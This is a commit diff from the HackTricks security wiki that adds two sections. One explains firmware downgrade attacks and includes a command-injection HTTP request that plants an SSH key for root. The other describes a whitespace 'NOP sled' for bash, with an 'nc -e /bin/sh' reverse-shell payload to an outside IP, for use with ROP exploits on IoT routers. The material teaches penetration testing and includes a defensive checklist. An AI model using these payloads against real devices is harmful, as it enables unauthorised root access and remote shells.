Skip to content

Commit 7654b02

Browse files
author
HackTricks News Bot
committed
Add content from: Exploiting zero days in abandoned hardware
1 parent 137ecc9 commit 7654b02

File tree

2 files changed

+72
-0
lines changed
  • src
    • hardware-physical-access/firmware-analysis
    • linux-hardening/bypass-bash-restrictions

2 files changed

+72
-0
lines changed

src/hardware-physical-access/firmware-analysis/README.md

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -225,6 +225,53 @@ Operating systems like [AttifyOS](https://github.com/adi0x90/attifyos) and [Embe
225225
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is a distro intended to help you perform security assessment and penetration testing of Internet of Things (IoT) devices. It saves you a lot of time by providing a pre-configured environment with all the necessary tools loaded.
226226
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Embedded security testing operating system based on Ubuntu 18.04 preloaded with firmware security testing tools.
227227

228+
## Firmware Downgrade Attacks & Insecure Update Mechanisms
229+
230+
Even when a vendor implements cryptographic signature checks for firmware images, **version rollback (downgrade) protection is frequently omitted**. When the boot- or recovery-loader only verifies the signature with an embedded public key but does not compare the *version* (or a monotonic counter) of the image being flashed, an attacker can legitimately install an **older, vulnerable firmware that still bears a valid signature** and thus re-introduce patched vulnerabilities.
231+
232+
Typical attack workflow:
233+
234+
1. **Obtain an older signed image**
235+
* Grab it from the vendor’s public download portal, CDN or support site.
236+
* Extract it from companion mobile/desktop applications (e.g. inside an Android APK under `assets/firmware/`).
237+
* Retrieve it from third-party repositories such as VirusTotal, Internet archives, forums, etc.
238+
2. **Upload or serve the image to the device** via any exposed update channel:
239+
* Web UI, mobile-app API, USB, TFTP, MQTT, etc.
240+
* Many consumer IoT devices expose *unauthenticated* HTTP(S) endpoints that accept Base64-encoded firmware blobs, decode them server-side and trigger recovery/upgrade.
241+
3. After the downgrade, exploit a vulnerability that was patched in the newer release (for example a command-injection filter that was added later).
242+
4. Optionally flash the latest image back or disable updates to avoid detection once persistence is gained.
243+
244+
### Example: Command Injection After Downgrade
245+
246+
```http
247+
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
248+
Host: 192.168.0.1
249+
Content-Type: application/octet-stream
250+
Content-Length: 0
251+
```
252+
253+
In the vulnerable (downgraded) firmware, the `md5` parameter is concatenated directly into a shell command without sanitisation, allowing injection of arbitrary commands (here – enabling SSH key-based root access). Later firmware versions introduced a basic character filter, but the absence of downgrade protection renders the fix moot.
254+
255+
### Extracting Firmware From Mobile Apps
256+
257+
Many vendors bundle full firmware images inside their companion mobile applications so that the app can update the device over Bluetooth/Wi-Fi. These packages are commonly stored unencrypted in the APK/APEX under paths like `assets/fw/` or `res/raw/`. Tools such as `apktool`, `ghidra`, or even plain `unzip` allow you to pull signed images without touching the physical hardware.
258+
259+
```
260+
$ apktool d vendor-app.apk -o vendor-app
261+
$ ls vendor-app/assets/firmware
262+
firmware_v1.3.11.490_signed.bin
263+
```
264+
265+
### Checklist for Assessing Update Logic
266+
267+
* Is the transport/authentication of the *update endpoint* adequately protected (TLS + authentication)?
268+
* Does the device compare **version numbers** or a **monotonic anti-rollback counter** before flashing?
269+
* Is the image verified inside a secure boot chain (e.g. signatures checked by ROM code)?
270+
* Does userland code perform additional sanity checks (e.g. allowed partition map, model number)?
271+
* Are *partial* or *backup* update flows re-using the same validation logic?
272+
273+
> 💡 If any of the above are missing, the platform is probably vulnerable to rollback attacks.
274+
228275
## Vulnerable firmware to practice
229276

230277
To practice discovering vulnerabilities in firmware, use the following vulnerable firmware projects as a starting point.
@@ -246,6 +293,7 @@ To practice discovering vulnerabilities in firmware, use the following vulnerabl
246293

247294
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
248295
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
296+
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
249297

250298
## Trainning and Cert
251299

src/linux-hardening/bypass-bash-restrictions/README.md

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -340,13 +340,37 @@ bypass-fs-protections-read-only-no-exec-distroless/
340340
../privilege-escalation/escaping-from-limited-bash.md
341341
{{#endref}}
342342
343+
## Space-Based Bash NOP Sled ("Bashsledding")
344+
345+
When a vulnerability lets you partially control an argument that ultimately reaches `system()` or another shell, you may not know the exact offset at which execution starts reading your payload. Traditional NOP sleds (e.g. `\x90`) do **not** work in shell syntax, but Bash will harmlessly ignore leading whitespace before executing a command.
346+
347+
Therefore you can create a *NOP sled for Bash* by prefixing your real command with a long sequence of spaces or tab characters:
348+
349+
```bash
350+
# Payload sprayed into an environment variable / NVRAM entry
351+
" nc -e /bin/sh 10.0.0.1 4444"
352+
# 16× spaces ───┘ ↑ real command
353+
```
354+
355+
If a ROP chain (or any memory-corruption primitive) lands the instruction pointer anywhere within the space block, the Bash parser simply skips the whitespace until it reaches `nc`, executing your command reliably.
356+
357+
Practical use cases:
358+
359+
1. **Memory-mapped configuration blobs** (e.g. NVRAM) that are accessible across processes.
360+
2. Situations where the attacker can not write NULL bytes to align the payload.
361+
3. Embedded devices where only BusyBox `ash`/`sh` is available – they also ignore leading spaces.
362+
363+
> 🛠️ Combine this trick with ROP gadgets that call `system()` to dramatically increase exploit reliability on memory-constrained IoT routers.
364+
343365
## References & More
344366
345367
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
346368
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
347369
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
348370
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
349371
372+
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
373+
350374
{{#include ../../banners/hacktricks-training.md}}
351375
352376

0 commit comments

Comments
 (0)